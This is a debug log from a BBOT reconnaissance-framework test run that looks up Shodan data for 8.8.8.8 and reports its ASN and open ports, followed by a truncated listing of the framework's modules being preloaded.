scanner.py:1176 Setup succeeded for python (success) +2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 17:06:47,118 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 17:06:47,118 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 17:06:47,118 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 17:06:47,118 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 17:06:47,118 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 17:06:47,119 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 17:06:47,258 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_346sj5aacs +2026-03-01 17:06:47,259 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 17:06:47,365 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 17:06:47,366 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 17:06:47,366 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 17:06:47,367 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 17:06:47,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-01 17:06:47,469 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 17:06:47,470 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 17:06:47,471 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:06:47,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:06:47,474 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:06:47,474 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,476 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:06:47,478 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:06:47,478 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:06:47,480 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:06:47,480 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:06:47,482 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:06:47,483 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 17:06:47,486 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,486 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:06:47,487 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,488 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,488 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 17:06:47,489 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 17:06:47,489 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 17:06:47,490 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:06:47,490 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,575 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:06:47,576 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 17:06:47,577 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:06:47,577 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 17:06:47,578 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:06:47,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:06:47,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,581 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,581 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,582 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,582 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:06:47,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,584 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,584 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,585 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,585 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,586 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:06:47,586 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,587 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,588 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:06:47,588 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:06:47,588 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,589 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,589 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,590 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,590 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:06:47,591 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,591 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,591 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:06:47,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:06:47,593 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:06:47,593 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,594 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:06:47,594 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,594 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:06:47,595 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:06:47,596 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:06:47,596 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:06:47,597 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:06:47,597 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 17:06:47,680 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:06:47,681 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,681 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:06:47,682 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,682 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:06:47,682 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:06:47,683 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 17:06:47,683 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:06:47,683 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 17:06:47,684 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 17:06:47,685 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 17:06:47,685 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 17:06:47,686 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 17:06:47,687 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 17:06:47,687 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 17:06:47,688 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 17:06:47,788 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 17:06:47,789 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 17:06:47,808 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 17:06:47,808 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 17:06:47,809 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 17:06:47,816 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 17:06:47,816 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 17:06:47,817 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 17:06:47,818 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 17:06:47,819 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 17:06:47,819 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 17:06:47,935 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_346sj5aacs completed in 0 seconds with status FINISHED +2026-03-01 17:06:47,935 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 17:06:47,936 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:06:47,938 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 17:06:47,938 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 17:06:47,938 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] +2026-03-01 17:06:47,939 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 17:06:47,939 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 17:06:47,939 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 17:06:47,939 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events +2026-03-01 17:06:47,939 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} +2026-03-01 17:08:15,936 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 17:08:15,938 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 17:08:15,948 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 17:08:15,949 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 17:08:15,950 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 17:08:15,951 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 17:08:15,951 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 17:08:15,952 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 17:08:15,952 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 17:08:15,954 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 17:08:15,955 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 17:08:15,956 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 17:08:15,957 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 17:08:15,957 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 17:08:15,958 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 17:08:15,959 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 17:08:15,961 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 17:08:15,962 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 17:08:15,965 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 17:08:15,965 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 17:08:15,967 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 17:08:15,968 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 17:08:15,969 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 17:08:15,969 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 17:08:15,970 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 17:08:15,971 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 17:08:15,972 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 17:08:15,972 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 17:08:15,972 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 17:08:15,974 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 17:08:15,975 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 17:08:15,975 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 17:08:15,976 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 17:08:15,977 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 17:08:15,977 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 17:08:15,978 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 17:08:15,979 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 17:08:15,979 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 17:08:15,980 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 17:08:15,980 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 17:08:15,981 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 17:08:15,985 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 17:08:15,986 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 17:08:15,987 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 17:08:15,987 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 17:08:15,988 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 17:08:15,989 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 17:08:15,989 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 17:08:15,990 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 17:08:15,991 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 17:08:15,992 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 17:08:15,992 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 17:08:15,993 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 17:08:15,994 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 17:08:15,995 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 17:08:15,995 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 17:08:15,996 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 17:08:15,997 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 17:08:15,997 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 17:08:15,998 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 17:08:15,998 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 17:08:15,999 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 17:08:16,000 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 17:08:16,001 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 17:08:16,001 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 17:08:16,002 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 17:08:16,003 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 17:08:16,008 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 17:08:16,009 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 17:08:16,010 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 17:08:16,011 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 17:08:16,012 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 17:08:16,013 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 17:08:16,014 